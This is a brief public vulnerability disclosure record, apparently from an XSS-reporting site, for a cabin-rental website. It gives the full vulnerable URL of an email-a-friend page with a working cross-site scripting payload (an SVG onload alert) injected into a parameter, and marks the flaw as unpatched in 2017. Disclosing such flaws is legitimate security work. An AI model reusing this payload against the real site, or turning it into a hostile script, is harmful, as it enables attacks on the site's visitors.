pigeonforgecabins.us XSS vulnerability

Vulnerable URL: http://www.pigeonforgecabins.us/emailafriend.php?referralPage=www.pigeonforgecabins.us/pigeonforge/cabins/MountainBlissLogCabin/mountainblisslogcabin.php=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017...